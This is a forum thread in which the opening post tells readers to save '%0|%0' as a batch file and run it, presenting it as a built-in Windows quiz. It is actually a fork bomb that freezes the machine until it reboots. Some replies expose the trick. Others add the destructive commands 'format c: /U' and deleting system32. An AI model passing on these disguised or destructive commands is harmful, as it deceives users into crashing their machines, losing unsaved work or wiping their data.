The Moron Test
 

Windows computers have a built-in moron test, for those of you who don't know.
To perform it:
1) Go to Notepad
2) Type %0|%0
2.5) Save as morontest.bat and run it
3) Wait a few seconds for your list of randomized questions (on some computers may be somewhat buggy, so try it a few times if it doesn't work the first time)
4) Results should be apparent soon

5) Believe the internet

I scored a 95%, go for the high score!

Please don't actually do this

simple google reveals what this is lol

I got 100%

I win.

You also need to save this file as a .bat file for it to get totally working!

alt+f4 speeds up the process. asfgdsgafgseaf. seriously. wtf?

When everyone's computer turns back on, this is called a fork bomb. It takes the program name, which outputs with %0 and executes it again. And again. And again. It keeps doing this until your computer reboots. I just ruined the fun.

I hope someone black faxes you

Failed at the first word. I have a mac.

brb imploding computer

Is this just a joke or does it actually reboot your computer?

Idk i didn't take the time to actually try.

The actual moron test isn't a list of questions at all, its based on if you actually listen to what a random stranger on the internet tells you to do or not.

i got a better one for OP

DOS -> format c: /U

I think I passed.

Assuming i'm not supposed to listen, I passed.

Moron test 2 is out, just delete system32 and there you have it!